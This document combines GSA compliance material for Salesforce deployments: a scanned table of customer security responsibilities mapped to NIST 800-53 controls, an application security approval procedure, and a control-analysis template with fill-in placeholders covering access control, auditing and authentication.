defined this frequency as biennially or if there isamajor change to the policy.

13. | Customers are responsible for reviewing the Salesforce Assessment and Authorization Section 13.1
documentation and authorizing the information system for their own implementation of CA-6
the system.

14. | Thiscontrol is designated as afederal control responsibility. The federal agency must Section 13.1
maintain applicable policies and procedures and disseminate to the contractor. GSA has CP-1
defined this frequency as biennially or if there isamajor change to the policy

15. | Ensure sessions are secure by requiring secure connections (HTTPS). Section 13.2

IA-2(8), |A-

5(1) c., SC-

7(4), SC-8, SC-
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. Control
Ref. Requirements Reference
8(1), SC-9, SC-
9(1), SC-23
16. | Managing usernames including: Section 13.2
I1A-4
e  Receiving authorization from a designated agency official to assign auser identifier | Section 13.2
IA-4a
e  Selecting an identifier that uniquely identifies an individual with supplemental Section 13.2
controls provided by Salesforce.com to ensure duplicate identifiers are not stored IA-4D.
e Assigning the user identifier to the intended party Section 13.2
IA-4c.

17. | Establish aregistration process for users to receive agency defined authentication devices | Section 13.2
used to connect to Salesforcethat is carried out in person before a designated registration | 1A-5(3)
authority with authorization by a designated official. The GSA frequency isHSPD12
Smart Cards.

18. | Ensurethe SSO solution obscures feedback of authentication information during the Section 13.2
authentication process to protect the information from possible exploitation/use by I1A-6
unauthorized individuals

19. | Provide identification and authentication for any non-organization users to access the Section 13.2
agency’ simplementation of the Force.com platform. IA-8

20. | Report suspected incidents to the Salesforce.com Incident Response Team viaan agreed | Section 13.1
upon method designated in the customer agreement. Customers should work with IR-6
salesforce.com to develop an agreed upon reporting process and method to receive
notification of security incidents involving the potential breach of customer data.

21. | Thiscontrol isdesignated as afederal control responsibility. The federal agency must Section 13.1
maintain applicable policies and procedures and disseminate to the contractor. GSA has | PL-1
defined this frequency as biennially or if there isamajor change to the policy

22. | Document a Rules of Behavior describing the rules and expected behavior for the Section 13.1
customer’ s implementation of salesforce.com. Customers should require signed Rulesof | PL-4, CA-6
Behavior before authorizing access to the customer’ s implementation of salesforce.com.

23. | Complete per Agency policy, aPrivacy Impact Analysisin agreement with requirements | Section 13.1
in OMB Memorandum 03-22, OMB Guidance for Implementing the Privacy Provisions | PL-5
of the E-Government Act of 2002 and agency/Department specific policies and
procedures

24. | Thiscontrol isdesignated as afederal control responsibility. The federal agency must Section 13.1
maintain applicable policies and procedures and disseminate to the contractor. GSA has | PS-1
defined this frequency as biennially or if there isamajor change to the policy

25 | Vadidate saesforce.com’s assignment of risk designations, associated screening criteria | Section 13.1
and ensure that salesforce.com is reviewing and revising risk designations on an ongoing | PS-2
basis.

26. | Perform federa background investigations on any salesforce.com employees that have Section 13.1
privileged access to customer data, have security responsihilities, or programmatic PS-3
responsibilities for the product. Each customer agency should determine if the
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. Control
Ref. Requirements Reference
background investigations performed by GSA are acceptable or if the agency requires
their own background investigations to be performed.

27. | Thiscontrol is designated as afederal control responsibility. The federal agency must Section 13.1
maintain applicable policies and procedures and disseminate to the contractor. GSA has | RA-1
defined this frequency as biennially or if there is a magjor change to the policy

28. | Categorize datain agreement with FIPS 199 and NIST 800-60 to ensure that the security | Section 13.1
category of information types collected, processed, or stored in Salesforce does not RA-2
exceed Moderate impact for confidentiality, integrity, and/or availability

29. | Conduct an E-Authentication Risk Assessment in accordance with OMB Memorandum Sectio 13.1
M-04-04, “ E-Authentication Guidance for Federal Agencies.” RA-3

30. | Thiscontrol isdesignated as afederal control responsibility. The federal agency must Section 13.1
maintain applicable policies and procedures and disseminate to the contractor. GSA has | SA-1
defined this frequency as biennialy or if thereis amajor change to the policy.

3L | e Integrate development of their Force.com implementation into internal system Section 13.2

development life cycle methodology that includes: SA-3

e  Managing the information system using a system development life cycle Section 13.2
methodol ogy that includes considerations for the Force.com platform. SA-3a

e  Defining and documenting information system security roles and responsibilities Section 13.2
throughout the system development life cycle. SA-3b.

e Identifying individuals having Force.com security roles and responsibilities. 852‘3“302 132

32. | Include the following requirements and/or specifications, explicitly or by reference, in Section 13.1
information system acquisition contracts based on an assessment of risk and in SA-4
accordance with applicable federal laws, Executive Orders, directives, policies,
regulations, and standards:

(8) Security functional requirements/specifications;
(b) Security-related documentation requirements; and
(c) Developmental and evaluation-related assurance requirements.

33. | Requirein acquisition documents that vendors/contractors provide information Section 13.1
describing the functional properties of the security controls to be employed within the SA-4(1)
information system, information system components.

34. | Ensure the responsibility for the secure configuration and maintenance of the agency’s Section 13.1
implementation of Salesforce.comis assigned to and acknowledged by an agency system | SA-4(4)
owner

35. | Notify salesforce.com customer support when specific documentation on the Force.com Section 13.2
platform is either unavailable or nonexistent. SA-5c

36. | Customers have the ability to develop custom code and applications for the Force.com Section 13.2
platform. If customers choose to develop custom code for their Force.com SA-8, SA-10,
implementation, customers should ensure that they apply information system security SA-11, SC-18,
engineering principles in the specification, design, development, implementation, and SI-2, SI-3, SI-
modification of the information system. Specifically, the customer should define 11
acceptable and unacceptable mobile code and maobile code technol ogies during the
custom development of the Force.com platform and ensure error messages do not reveal
sensitive information. Additionally, the customer should integrate the code devel opment
process into the customer’ s existing configuration management process and perform

Version 0.7 H-6

SALESFORCE.COM CONFIDENTIAL; SUBJECT TO FOIA EXEMPTION (b)(4)








TRADE SECRET - DO NOT DISTRIBUTE

SALESFORCE.COM CONFIDENTIAL; SUBJECT TO FOIA EXEMPTION (b)(4)

. Control
Ref. Requirements Reference
developer security testing to detect any flaws or malicious code entered introduced into
the code.

37. | Limit the number of access points to the agency’ simplementation of the Force.com Section 13.2
platform by configuring IP white-listing and by setting profile-based |P address SC-7(3), SC-
restrictions and profile-based login hours. Additionally, the customer should lock 74
sessions to the | P address from which they originated to prevent unauthorized persons
from hijacking a session. The customer should also restrict outbound messaging
capabilities to specific users, ports, and external destinations.

38. | FDCC requires federal government workstations to only request FIPS 140-2/3 validated | Section 13.1
encryption agorithms from computing resources (i.e. web browsers). SC-8(1), SC-

9(1), SC-13

39. | Configurethe agency’s implementation of Salesforce to terminate network connections Section 13.2
after an agency defined period of inactivity. The GSA frequency is 30 minutes. SC-10

40. | Implement internal policies prohibiting the use of SPAM in relation to Salesforce Section 13.2 SI-
functionality (i.e. mass email, outbound messaging). 8

41. | Enforcefield-level checkswhen performing custom coding on the Force.com platformto | Section 13.2 SI-
ensure the validity of information inputs. The customer is also responsible for defining 10
field types and associated input validation rules for specific objects within the App Setup.

42. | Determine handling and retention requirements for information within and output from Section 13.2 SI-
the Force.com platform and the applications to ensure compliance with the National 12
Archives and Records Administration guidance on records retention.

Optional Control Requirements:

L The customer should consider if access to the Force.com platform should be limited | Section 13.2
to connecting from the internal customer network or if personnel can access the AC-17
Force.com platform from an external network customer device. The customer is
responsiblefor:

e Documenting allowed methods of remote access to the Force.com platform Section 13.2
AC-17 a

e  Establishing usage restrictions and implementation guidance for each allowed Section 13.2
remote access method AC-17b.

e Monitoring for unauthorized remote access to the Force.com platform by Section 13.2
reviewing the successful and unsuccessful login audit trail AC-17c.

e Authorizing remote access to the information system prior to connection Section 13.2
AC-17d.

e Enforcing requirements for remote connections to the Force.com platform Section 13.2
AC-17e.

2. If the customer configures its implementation of the Force.com platform to alow Section 13.2
posting of information to a public site, then the customer should consider: AC-22
e Designating individuals authorized to post information onto the customer’s Section 13.2

Salesforce sitethat is publicly accessible AC-22a
e Training authorized individuals to ensure that publicly accessible information Section 13.2
does not contain nonpublic information AC-22b.
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. Control
Ref. Requirements Reference

e Reviewing the proposed content of publicly accessible information for nonpublic | Section 13.2
information prior to posting onto the customer’s public site AC-22c.

e Reviewing the content on the publicly accessible Salesforce site for nonpublic Section 13.2
information quarterly AC-22d.

e Removing nonpublic information from the customer’s publicly accessible Section 13.2
Salesforce site, if discovered. AC-22e.

Customers can choose to grant customer support personnel privileged login as access | Section 13.1

to a customer Org, the customer has to explicitly authorize the access, aswell as, set | @d Section

an expiration date for that access. 13.2 AU-2(4)

Customers can review the actions taken by the Technical Support personnel by Section 13.2

reviewing the events associated with a salesforce.com P addresses. In order for AU-2(4)

customersto gain further details on the identity of Technical Support personnel who

logged into the customer’ s organization, the customer administrator can request

additional audit information from salesforce.com.

In addition to accessing salesforce.com via aweb browser, customers may chooseto | Section 13.1

integrate the salesforce.com products with their existing email server, internal agency | 1A-2

applications, mobile devices, or other interfaces. In these instances, the customer is

responsible for making arisk based decision regarding allowabl e identification and

authenti cation methods when browser based access is not used.

If the customer implements Sal esforce managed passwords then the customer is

responsible for:

e Implementing additional controls or determining whether to accept therisk that | Section 13.2
multi-factor authentication is not in place for privileged and non-privileged IA-2(1), IA-
accounts. 2(2)

e Managing information system authenticators for users by: verifying, as part of Section 13.2
theinitial password distribution, the identity of the individual receiving the IA-5a
authenticator

e Ensuring that authenticators have sufficient strength of mechanism for their Section 13.2
intended use. The GSA frequency is at least 8 characters and must contain a IA-5c.
combination of letters, numbers, and specia characters.

The agency is responsible for implementing additional controls or determining
whether to accept therisk that Salesforce managed passwords can only enforce
a mix of aphaand numeric characters.

e Establishing and implementing administrative procedures for initial Section 13.2
authenticator distribution, for lost/compromised or damaged authenticators, and | 1A-5d.
for revoking authenticators

e  Establishing minimum and maximum lifetime restrictions and reuse conditions | Section 13.2
for passwords. The GSA frequency is 1 day minimum, 90 day maximum, and IA-5f.

10 passwords remembered.

The agency is responsible for implementing additional controls or determining
whether to accept the risk that Salesforce managed passwords cannot enforce a
minimum password lifetime restriction.

e Changing/refreshing passwords at an agency defined frequency. The GSA Section 13.2
frequency is 90 days. IA-59.
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. Control
Ref. Requirements R .
e Requiring users to take specific measures to safeguard authentication Section 13.2
IA-5i.
e Managing password-based authentication including: establishing a minimum Section 13.2
password length and enforcing minimum password complexity of (agency- IA-5(1) a

defined requirements for case sensitivity, number of characters, mix of upper-
case letters, lower-case letters, numbers, and special characters, including
minimum requirements for each type). The GSA frequency isat least 8
characters and must contain a combination of |etters, numbers, and special
characters.

The agency is responsible for implementing additional controls or determining
whether to accept the risk that Salesforce managed passwords can only enforce a
mix of aphaand numeric characters.

e Enforcing at least a (agency-defined number of changed characters) whennew | Section 13.2

passwords are created. The GSA frequency is at least one character. IA-5(1) b.
e Enforcing password minimum and maximum lifetime restrictions set by the Section 13.2
agency. The GSA frequency is 1 day minimum and 90 day maximum. IA-5(1) d.

The agency is responsible for implementing additional controls or determining
whether to accept the risk that Salesforce managed passwords cannot enforce a
minimum password lifetime restriction.

e Prohibiting password reuse for agency-defined number of generations. The Section 13.2
GSA frequency is 10 generations. IA-5(1) e.
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GSA’s Implementation of Security for Salesforce Applications

1  Introduction



This document describes the approval process for Salesforce applications. Security should be a major consideration early in the development process and continue throughout the system life cycle. 



The Salesforce Security Implementation Guide should be followed for design and development of custom applications (refer to section 3 for the document link). During the development lifecycle, static and dynamic scanning will be conducted by the Development Team (see Step Six below). The scans must be completed and false positives must be adequately documented prior to submitting the application for approval. All critical/high findings must be remediated or an acceptance of risk (AOR) must be completed and signed by the AO.



Note that while 3rd party published applications approved by Salesforce on AppExchange already follow these guidelines, they require the application security approval process as denoted in section 2 prior to implementation.



Also note that for any minor application, it is assumed that all data is hosted within the system boundaries of a preexisting, authorized/certified application. Any application that hosts data within a non-certified application will require a full A&A.



The attached diagram provides an overview of the teams involved and the security authorization activities followed during the Salesforce application development process.  







2  Salesforce Application Security Approval Process



The security approval process for Salesforce applications is the responsibility of the System ISSO working with the Business Owner, System Application Development Team and the SAISO office.  The following steps are to be completed:  



Step One – Categorize the Application – is it a major or minor application, does it have a Moderate or Low security impact.  If it is a Major Application, then a full Assessment and Authorization (A&A) is required.  



If it is a Minor Application, steps 2-6 are to be followed.



Step Two - Privacy Impact Assessment – Complete Part 1 of the PIA. If the system contains PII, a full PIA must be developed.  The attached PIA template can be used.









Step Three – Conduct a Business Impact Analysis (BIA) and apply results to the system A&A BIA.



Step Four -   Complete the Security Control Analysis – Use the GSA NIST 800-53 Controls Worksheet as a reference to complete the attached Application Security Control Analysis.











Step Five – Complete the following activities:



1. If an application was developed using Apex or Visualforce, code scans will be completed using scanning tools provided by Salesforce.  Conduct static and dynamic scanning.  The code scan results must be completed and false positives must be adequately documented within the Application Security Assessment Form (provided in Step Six) prior to submitting the form for approval. All critical/high findings must be remediated or an acceptance of risk (AOR) must be completed and signed by the AO.  All remaining Medium findings must be added to the system POAM and any Low or informational findings should be considered during application change management cycles.   



If the application was developed using an alternate language, coordination should take place with the OSAISO early in the development process to coordinate code review methodology to be used.  



For Apex and Visualforce, go the following link to perform source code scanning:  

http://security.force.com/sourcescanner

Include results in the Application Security Assessment form provided below in Step Six.  Visit the following link for Security Source Code scanner help:

 http://security.force.com/sourcescanner/ForceDotComScannerHelp 





2. A security self-assessment should be completed for Apex and Visualforce. Go to the following link and use the Salesforce Security Self Assessment Tool to conduct a customized security self-assessment:

http://security.force.com/selfassess

Answer the questions, run the tool, and review the list of vulnerability information.  Address vulnerabilities where possible.  Rerun the tool and cut and paste the list of remaining vulnerabilities into the Application Security Assessment form provided in Step Six.



Step Six – Fill out the attached Application Security Assessment Form – The Form contains:

· Application Name

· Proposed Application URL

· Application Authentication

· Permissions Sets Used

· Description of Application

· Coded As:  App Exchange, Apex, Visualforce, Other

· If Other, specify 

· Application Vulnerability Scanning

· If App Exchange, no scanning required

· If Apex or Visualforce, internal scans required using Salesforce scanning tools

· If Other, ISSO to contact OSAISO

· Scan Completed Date

· Scan Results

· False Positive Comments

· Security Self Assessment Tool results

· Signatures

· Application Owner

· Application ISSM

· Application ISSO

· Office of the SAISO

[bookmark: _MON_1379240783][bookmark: _MON_1379240186][bookmark: _MON_1379330681]







Step Seven - Prepare Salesforce Application Security Package - Package submitted to OSAISO will include: 

· PIA Part 1 form or full Part 2 form 

· Security Control Analysis  

· Salesforce Application Security Assessment Process Form with:

· Code Scan Reviews   

· Security Self Assessment results



Note:  The Application should be included in the BIA for the system.  After SAISO review and approval, the package becomes a part of the SSP and allows the minor application to be added to the system inventory along with POAMs reflecting any identified vulnerabilities.   

3  References



SF Code Scanner: 

http://security.force.com/sourcescanner

				

SF Web Application Security Scanner:

http://security.force.com/webappscanner



SF Security Implementation Guide		https://na1.salesforce.com/help/doc/en/salesforce_security_impl_guide.pdf
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Salesforce Aplication  Security Control Analysis.docx




Salesforce Aplication Security Control Analysis.docx

[bookmark: _Toc290419666]Salesforce Application Security Control Analysis





[bookmark: _GoBack]Complete the enclosed GSA customer security controls analysis using the GSA NIST 800-53 Controls Worksheet as an implementation reference.  Add any controls that were necessary to customize the controls to address specific mission or business requirements, priorities, or other customized conditions.   





Note:  The Salesforce Application Security Control Analysis is included in the Salesforce Application Security Package.  


 






AC-3: Access Enforcement


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The information system enforces assigned authorizations for logical access to the system in accordance with applicable policy. 





			Supplemental Guidance:  


Access control policies (e.g., identity-based policies, role-based policies, attribute-based policies) and associated access enforcement mechanisms (e.g., access control lists, access control matrices, cryptography) are employed by organizations to control access between users (or processes acting on behalf of users) and objects (e.g., devices, files, records, processes, programs, domains) in the  information system. In addition to enforcing authorized access at the information system level, access enforcement mechanisms are employed at the application level, when necessary, to provide increased information security for the organization. Consideration is given to the implementation of an audited, manual override of automated mechanisms in the event of emergencies or other serious events. If encryption of stored information is employed as an access enforcement mechanism, the cryptography used is FIPS 140-2 (as amended) compliant. Mechanisms implemented by AC-3 are configured to enforce authorizations determined by other security controls. Related controls: AC-1, AC-2, AC-4, AC-5, AC-6, AC-17, AC-19, AC-20, AU-9, CM-5, CM-6, MA-3, MA-4, MA-5, SA-7, SC-13, SI-9.





			Salesforce™ Guidance:


The application owner ensures that authorizations are approved and that the process is performed in accordance with applicable agency policy. To complete this control, describe the documented business process for a user to acquire access to the system. Describe how that access would be configured on the Force.com platform, and describe specific user profile and permissions settings. .











GSA Implementation of Control:


Click here to enter text.





AC-5: Separation of Duties


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Separates duties of individuals as necessary, to prevent malevolent activity without collusion;


(b) Documents separation of duties; and


(c) Implements separation of duties through assigned information system access authorizations.  





			Supplemental Guidance:  


Examples of separation of duties include: (i) mission functions and distinct information system support functions are divided among different individuals/roles; (ii) different individuals perform information system support functions (e.g., system management, systems programming, quality assurance/testing, configuration management, and network security); (iii) security personnel who administer access control functions do not administer audit functions; and (iv) different administrator accounts for different roles. Access authorizations defined in this control are implemented by control AC-3. Related controls: AC-1, AC-3.





			Salesforce™ Guidance:


Separate duties of individuals are accomplished through the use of profiles, roles, groups, and object-level permissions to prevent malicious activity without collusion. Implement separation of duties through assignment of information access authorizations as defined by GSA. To complete this control, document (via the roles, groups, objects, and permissions) how the separation is accomplished within the application’s implementation.












GSA Implementation of Control:


Click here to enter text.


AC-6: Least Privilege


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization employs the concept of least privilege, allowing only authorized accesses for users (and processes acting on behalf of users) which are necessary to accomplish assigned tasks in accordance with organizational missions and business functions.





			Supplemental Guidance:  


The access authorizations defined in this control are largely implemented by control AC-3. The organization employs the concept of least privilege for specific duties and information systems (including specific ports, protocols, and services) in accordance with risk assessments as necessary to adequately mitigate risk to organizational operations and assets, individuals, other organizations, and the Nation. Related controls: AC-2, AC-3, CM-7.





			Salesforce™ Guidance:


The application employs the concept of least privilege by allowing access only to authorized users for accomplishment of assigned tasks in accordance with organizational mission and business functions. To complete this control, describe how business functions are based upon business needs and granted access for specific tasks via the Platform System Administrator or designated System Administrators.











GSA Implementation of Control:


Click here to enter text.


AC-22: Publicly Accessible Content


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization:


(a) Designates individuals authorized to post information onto an organizational information system that is publicly accessible;


(b) Trains authorized individuals to ensure that publicly accessible information does not contain nonpublic information;


(c) Reviews the proposed content of publicly accessible information for nonpublic information prior to posting onto the organizational information system;


(d) Reviews the content on the publicly accessible organizational information system for nonpublic information annually; and


(e) Removes nonpublic information from the publicly accessible organizational information system, if discovered. 





			Supplemental Guidance:  


Nonpublic information is any information for which the general public is not authorized access in accordance with federal laws, Executive Orders, directives, policies, regulations, standards, or guidance. Information protected under the Privacy Act and vendor proprietary information are examples of nonpublic information. This control addresses posting information on an organizational information system that is accessible to the general public, typically without identification or authentication. The posting of information on non-organization information systems is covered by appropriate organizational policy. Related controls: AC-3, AU-13.





			Salesforce™ Guidance:


If the application allows posting of information to a publicly available  site, then the customer should consider: 


· Designating individuals authorized to post information onto the site that is publicly accessible;


· Training authorized individuals to ensure that publicly accessible information does not contain nonpublic information; 


· Reviewing the proposed content of publicly accessible information for nonpublic information prior to posting onto the site;


· Reviewing the content on the publicly accessible site for nonpublic information quarterly;


· Removing nonpublic information from the customer’s publicly accessible site, if discovered.


If the application does not allow public posting/access, mark the control “Not Applicable”, and note in the implementation section “Application does not have publicly accessible content. 











GSA Implementation of Control:


Click here to enter text.


AU-2: Auditable Events


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization: 


(a). Determines, based on a risk assessment and mission/business needs, that the information system must be capable of auditing the following events: Successful and unsuccessful Account logon events, account management events, object access, policy change, privilege functions, process tracking, and system events.  Web applications should log all admin activity, authentication checks, authorization checks, data deletions, data access, data changes, and permission changes;  


(b) Coordinates the security audit function with other organizational entities requiring audit related information to enhance mutual support and to help guide the selection of auditable events; 


(c). Provides a rationale for why the list of auditable events are deemed to be adequate to support


after-the-fact investigations of security incidents; and


(d). Determines, based on current threat information and ongoing assessment of risk, that the following events are to be audited within the information system: Implement audit configuration requirements as documented in applicable GSA IT Security Technical Hardening Guides.  Web applications should log all admin activity, authentication checks, authorization checks, data deletions, data access, data changes, and permission changes.      





			
NIST SP 800-53 Control Enhancements: 


(3) The organization reviews and updates the list of organization-defined auditable events annually or whenever there is a change in system’s threat environment as communicated by the GSA S/SO AO or the GSA SAISO.  


(4) The organization includes execution of privileged functions in the list of events to be audited by the information system.





			Supplemental Guidance:


The purpose of this control is for the organization to identify events which need to be auditable as significant and relevant to the security of the information system; giving an overall system requirement in order to meet ongoing and specific audit needs. To balance auditing requirements with other information system needs, this control also requires identifying that subset of auditable events that are to be audited at a given point in time. For example, the organization may determine that the information system must have the capability to log every file access both successful and unsuccessful, but not activate that capability except for specific circumstances due to the extreme burden on system performance. In addition, audit records can be generated at various levels of abstraction, including at the packet level as information traverses the network. Selecting the right level of abstraction for audit record generation is a critical aspect of an audit capability and can facilitate the identification of root causes to problems. Related controls: AU-3.





			Salesforce™ Guidance:


Provide a list of auditable events that includes both default system logging and application specific logging and which meets the control requirements (a thru d. above). To complete the control, document the defined list of auditable events, and how the auditing configuration within their implementation of the Force.com platform is accomplished. The recommended application auditing is configured via field history tracking, object level history, and other capabilities. Application owners can also write custom code to enhance the auditing capability. Additionally, application owners can request audit information from Salesforce.com for session and connection duration information and further details on the identity of approved Technical Support personnel who logged into the customer’s organization. 


To complete Enhancement 3,the application owner and ISSO should review and update the list of auditable events annually or whenever there is a change in system’s threat environment as communicated by the GSA S/SO AO or the GSA SAISO 


To complete Enhancement 4, applications can document 1) the granting of customer support personnel privileged logins as access to the Organization level, 2) the explicit authorization of the access, and 3) set an expiration date for that access. Application owners can review actions taken by the Technical Support personnel by checking the events associated with a salesforce.com IP addresses. In order for application owners to gain further details on the identity of Technical Support personnel who logged into the customer’s organization, additional audit information can be requested by the authorizing official from salesforce.com via the Office of the Chief Information Officer.











GSA Implementation of Control:


Click here to enter text.





GSA Implementation of Control Enhancement 3 and 4:


Click here to enter text.





Click here to enter text.


AU-3: Content of Audit Records


Implementation Status:  Choose an item.


			
NIST SP 800-53 Control Enhancement: 


 (1) The information system provides the capability to include additional, more detailed information in the audit records for audit events identified by type, location, or subject.  


(i) Session, connection, transaction, or activity duration.


(ii) For client-server transactions, the number of bytes received and bytes sent.  This gives bidirectional transfer information that can be helpful during an investigation or inquiry.


(iii) For client-server transactions, unique metadata or properties about the client initiating the transaction.  This could include properties such as an IP address, user name, session identifier or browser characteristics (e.g. a ‘User-Agent’ string).


(iv) Details regarding the event ‘type’: the type of method (for HTTP: GET/POST/HEAD, etc.) or action (Database INSERT, UPDATE, DELETE).


(v) Characteristics that describe or identify the object or resource being acted upon.


(vi) Additional informational messages to diagnose or identify the event.                                                                                                 


 


Enhancement Supplemental Guidance: An example of detailed information that the organization may require in audit records is full-text recording of privileged commands or the individual identities of group account users.





			Supplemental Guidance:  


 Audit record content that may be necessary to satisfy the requirement of this control, includes, for example, time stamps, source and destination addresses, user/process identifiers, event descriptions, success/fail indications, filenames involved, and access control or flow control rules invoked. Related controls: AU-2, AU-8.





			Salesforce™ Guidance:


Application owners and end users can use the reports tab and the selectable event criteria within the reports tab, to generate and view customer reports for events of interest, and if necessary write custom code to enhance the auditing capability. To complete the control, provide supplemental documentation on the meta-data (what each field in the audit record means) supplied in AU-2.











GSA Implementation of Control Enhancement 1:


Click here to enter text.


AU-4: Audit Storage Capacity


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization allocates audit record storage capacity and configures auditing to reduce the likelihood of such capacity being exceeded.





			Supplemental Guidance:  


The organization considers the types of auditing to be performed and the audit processing requirements when allocating audit storage capacity. Related controls: AU-2, AU-5, AU-6, AU-7, SI-4.





			Salesforce™ Guidance:


Describe how audit record storage capacity is configured.  If reports are not required to be stored externally, mark this control as “Not Applicable” and note in the implementation “Application audit records are not stored externally to this system”.











GSA Implementation of Control:


Click here to enter text.


AU-6: Audit Review, Analysis and Reporting


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


 The organization:


(a) Reviews and analyzes information system audit records weekly for indications of inappropriate or unusual activity, and reports findings to designated organizational officials; and


(b) Adjusts the level of audit review, analysis, and reporting within the information system when there is a change in risk to organizational operations, organizational assets, individuals, other organizations, or the Nation based on law enforcement information, intelligence information, or other credible sources of information.





			Supplemental Guidance:  


Related control: AU-7.





			Salesforce™ Guidance:


To complete this control, application owners must document the weekly review and analysis process of audit records from the agency’s implementation of the Force.com platform for indications of inappropriate or unusual activity. The process to report findings to designated organizational officials must also be documented here. Application owners should adjust the level of audit review, analysis, and reporting within their instance of Salesforce.com when there is a change in risk to organizational operations, organizational assets, individuals, other organizations, or the Nation based on law enforcement information, intelligence information, or other credible sources of information.











GSA Implementation of Control:


Click here to enter text.


AU-7: Audit Reduction and Report Generation


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The information system provides an audit reduction and report generation capability.





			
NIST SP 800-53 Control Enhancements: 


(1) The information system provides the capability to automatically process audit records for events of interest based upon selectable, event criteria.





			Supplemental Guidance:  


An audit reduction, review, and report generation capability provides support for near real-time audit review, analysis, and reporting requirements described in AU-6 and after-the fact investigations of security incidents. Audit reduction and reporting tools do not alter original audit records. Related control: AU-6.





			Salesforce™ Guidance:


To complete this control, application owners must document how the use of the reports tab and the selectable event criteria within the reports tab generate reports for events of interest, and if necessary write custom code to enhance the auditing capability. Supplemental documentation must be supplied to demonstrate the reporting process and the type of data the reports capture.











GSA Implementation of Control:


Click here to enter text.





GSA Implementation of Control Enhancement 1:


Click here to enter text.


AU-9: Protection of Audit Information


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The information system protects audit information and audit tools from unauthorized access, modification, and deletion. 





			Supplemental Guidance:  


Audit information includes all information (e.g., audit records, audit settings, and audit reports) needed to successfully audit information system activity. Related controls: AC-3, AC-6.





			Salesforce™ Guidance:


If audit information is stored outside of the application the application owner is responsible for protecting the audit information from unauthorized access, modification, and deletion. To complete the control, document the system’s security that stores the audit information, and provide the system name.











GSA Implementation of Control:


Click here to enter text.


AU-11: Audit Record Retention


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization retains audit logs until they reach its maximum allocated size to provide support for after-the-fact investigations of security incidents and to meet regulatory and organizational information retention requirements. GSA retains audit records for a period of not less than 180 days.





			Supplemental Guidance:  


The organization retains audit records until it is determined that they are no longer needed for administrative, legal, audit, or other operational purposes. This includes, for example, retention and availability of audit records relative to Freedom of Information Act (FOIA) requests, subpoena, and law enforcement actions. Standard categorizations of audit records relative to such types of actions and standard response processes for each type of action are developed and disseminated. NIST Special Publication 800-61 provides guidance on computer security incident handling and audit record retention. (The National Archives and Records Administration (NARA) General Records Schedules (GRS) provide federal policy on record retention.)





			Salesforce™ Guidance:


To complete the control, document the process for export of the audit reports and show how they are retained in accordance with the GSA minimum applicable records retention period of 180 days. 











GSA Implementation of Control:


Click here to enter text.





IA-2:  User Identification and Authentication	


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The information system uniquely identifies and authenticates users (or processes acting on behalf of users). 





			
NIST SP 800-53 Control Enhancements: 


(1) - The information system uses multifactor authentication for network access to privileged accounts. (2) - The information system uses multifactor authentication for network access to non-privileged accounts.  (8)  The information system uses replay resistant authentication mechanisms for network access to privileged accounts.  GSA S/SO or Contractor recommendation to be approved and accepted by the GSA AO. 








			Supplemental Guidance:  


Organizational users include organizational employees or individuals the organization deems to have equivalent status of employees (e.g., contractors, guest researchers, individuals from allied nations). Users are uniquely identified and authenticated for all accesses other than those accesses explicitly identified and documented by the organization in AC-14. Unique identification of individuals in group accounts (e.g., shared privilege accounts) may need to be considered for detailed accountability of activity. Authentication of user identities is accomplished through the use of passwords, tokens, biometrics, or in the case of multifactor authentication, some combination thereof. Access to organizational information systems is defined as either local or network. Local access is any access to an organizational information system by a user (or process acting on behalf of a user) where such access is obtained by direct connection without the use of a network. Network access is any access to an organizational information system by a user (or process acting on behalf of a user) where such access is obtained through a network connection. Remote access is a type of network access which involves communication through an external network (e.g., the Internet). Internal networks include local area networks, wide area networks, and virtual private networks that are under the control of the organization. For a virtual private network (VPN), the VPN is considered an internal network if the organization establishes the VPN connection between organization-controlled endpoints in a manner that does not require the organization to depend on any external networks across which the VPN transits to protect the confidentiality and integrity of information transmitted. Identification and authentication requirements for information system access by other than organizational users are described in IA-8. 


The identification and authentication requirements in this control are satisfied by complying with Homeland Security Presidential Directive 12 consistent with organization-specific implementation plans provided to OMB. In addition to identifying and authenticating users at the information-system level (i.e., at logon), identification and authentication mechanisms are employed at the application level, when necessary, to provide increased information security for the organization. Related controls: AC-14, AC-17, AC-18, IA-4, IA-5.





			Salesforce™ Guidance:


If the application uses the GSA Access Card (GAC) for delegated authority SSO, then the control can be marked as “Fully Satisfied” and the Implementation of the control becomes “User Authentication and Identification inherited from GSA standard implementation of user access”. If any user account exists that does not use GSA Access Card, then the application owner must ensure that the authentication mechanism for which they are being delegated authority requires two factor authentication. If the application uses SAML SSO, the customer should work with the SAML provider to require multifactor authentication at login. The entire authentication method and its implementation in the application must be fully documented.


To complete Enhancement 1 show how the two factor authentication is implemented if different from the GSA standard GAC.


To complete Enhancement 2 show how a more stringent form of access is required for privileged access if different from the GSA standard GAC.


To complete Enhancement 8, ensure sessions are secure by requiring secure connections (HTTPS) and document its configuration.











[bookmark: _Toc160333561][bookmark: _Toc161519086]GSA Implementation of Control:


Click here to enter text.





GSA Implementation of Control Enhancement 1, 2 and 8:


Click here to enter text.





Click here to enter text.





Click here to enter text.


IA-5: Authenticator Management


Implementation Status:  Choose an item.


			NIST SP 800-53 Control:  


The organization manages information system authenticators for users and devices by:


(a) Verifying, as part of the initial authenticator distribution, the identity of the individual and/or device receiving the authenticator;


(b) Establishing initial authenticator content for authenticators defined by the organization;


(c) Ensuring that authenticators have sufficient strength of mechanism for their intended use;


(d) Establishing and implementing administrative procedures for initial authenticator distribution, for lost/compromised or damaged authenticators, and for revoking authenticators;


(e) Changing default content of authenticators upon information system installation;


(f) Establishing minimum and maximum lifetime restrictions and reuse conditions for authenticators (if appropriate);


(g) Changing/refreshing authenticators upon system installation; 60 Days for FDCC and 90 Days for all Other Password Based Authenticators;


(h) Protecting authenticator content from unauthorized disclosure and modification; and 


(i) Requiring users to take, and having devices implement, specific measures to safeguard authenticators.





			
NIST SP 800-53 Control Enhancements: 


 (1) The information system, for password-based authentication:


(a) Enforces minimum password complexity for passwords;


